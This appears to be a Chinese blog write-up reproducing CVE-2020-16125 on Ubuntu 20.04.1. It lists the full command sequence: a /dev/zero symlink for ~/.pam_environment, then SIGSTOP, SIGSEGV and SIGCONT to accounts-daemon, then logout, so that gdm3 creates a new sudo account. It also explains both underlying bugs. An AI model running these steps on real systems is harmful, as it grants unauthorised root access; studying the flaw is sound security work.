漏洞编号:CVE-2020-16125

1. 漏洞复现

1.1 执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
Settings->About  查看版本Ubuntu 20.04.1 LTS
id
ln -s /dev/zero ~/.pam_environment
top
更改语言(对话框冻结)

pidof accounts-daemon
kill -SIGSTOP 684
rm ~/.pam_environment
nohup bash -c "sleep 20s; kill -SIGSEGV 684; kill -SIGCONT 684" &
登出

id (属于sudo组)

1.2 流程解析

  • 查看版本号和账号

version

pocid

  • 创建一个指向home目录的符号链接:
1
ln -s /dev/zero ~/.pam_environment
  • 在系统设置中打开“区域&语言”选项,然后尝试修改语言。此时对话框将会卡住,切换回终端窗口。这个时候,一个名为accounts-daemon的程序将会占用100%的CPU资源,此时你的电脑将会变得非常卡。
1
top

top

  • 使用pidof寻找accounts-daemon的进程标识符(PID),给accounts-daemon发送一个SIGSTOP信号,让它停止占用CPU资源。紧接着设置一个定时器来在你注销账号之后重启accounts-daemon进程。
    • 休眠20秒
    • 给accounts-daemon发送一个SIGSEGV信号,来让程序崩溃
    • 给accounts-daemon发送一个SIGCONT信号来停用之前发送的SIGSTOP。SIGSEGV不会生效,直到接收到了SIGCONT为止

top

  • 注销账号,然后等几秒种让SIGSEGV执行。

窗口

successful

2. 漏洞原理

这里涉及到两个漏洞,第一个漏洞存在于accountsservice中,这个服务负责管理计算机上的用户账号。第二个漏洞存在于GNOME Display Manager (gdm3)中,它负责管理登录界面。

accountsservice守护进程(accounts-daemon)是一个负责管理设备上用户账号的系统服务。它可以创建新的用户账号,或修改用户密码。

Ubuntu添加了一个名为is_in_pam_environment的函数,它会寻找并读取用户home目录下一个名为.pam_environment的文件。此时,我们只需要制作一个.pam_environment指向/dev/zero的符号链接,即可触发这个拒绝服务漏洞。/dev/zero是一个特殊的文件,它实际上并不存在于磁盘中。它由操作系统提供,全部由零字节组成。当is_in_pam_environment尝试读取.pam_environment时,它会被符号链接重定向到/dev/zero,然后陷入无限循环中。

gdm3负责处理的另一个东西就是计算机在安装完新系统之后的初始化配置,当你在一台新的设备上安装好Ubuntu之后,第一件要做的事情就是创建一个新的用户账号。

紧接着使用D-Bus来询问accounts-daemon:现在系统中已经有多少个用户账号了?但是由于accounts-daemon已经无响应了,那么D-Bus的调用也就因超时(大约20秒超时时间)而失败了。由于超时情况的出现,代码并不会设置priv->have_existing_user_accounts的值。不幸的是,priv->have_existing_user_accounts的默认值为false,而不是true。gdm3将认为系统中不存在任何用户账号,于是它便会启动gnome-initial-setup,创建一个有root权限的新用户。

参考文章

如何在Ubuntu v20.04上获取root权限

感谢观看,如有不足或错误,恳请大佬指正 (^_^)#